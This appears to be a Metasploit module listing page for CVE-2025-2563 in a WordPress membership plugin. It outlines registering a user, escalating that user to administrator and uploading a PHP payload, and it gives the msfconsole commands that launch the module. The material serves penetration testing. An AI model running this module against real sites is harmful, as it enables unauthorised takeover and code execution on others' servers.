Exploits CVE-2025-2563 in the WordPress User Registration & Membership plugin. 1) Registers a free-membership user via AJAX. 2) Elevates that user to administrator via the membership AJAX action. 3) Logs in, uploads & executes a PHP payload.
Linux,PHP,Unix,Windows
php, cmd
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/multi/http/wp_user_registration_membership_escalation
msf exploit(wp_user_registration_membership_escalation) > show targets
...targets...
msf exploit(wp_user_registration_membership_escalation) > set TARGET < target-id >
msf exploit(wp_user_registration_membership_escalation) > show options
...show and set options...
msf exploit(wp_user_registration_membership_escalation) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
– Jim O’Gorman | President, Offensive Security